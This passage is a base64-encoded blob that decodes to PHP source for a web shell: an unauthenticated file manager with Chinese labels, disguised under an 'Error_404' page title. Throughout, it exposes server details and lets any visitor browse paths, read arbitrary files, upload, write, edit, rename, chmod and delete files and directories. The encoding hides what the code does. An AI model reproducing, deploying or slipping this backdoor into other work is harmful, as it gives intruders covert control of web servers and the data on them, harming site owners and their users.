aW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwg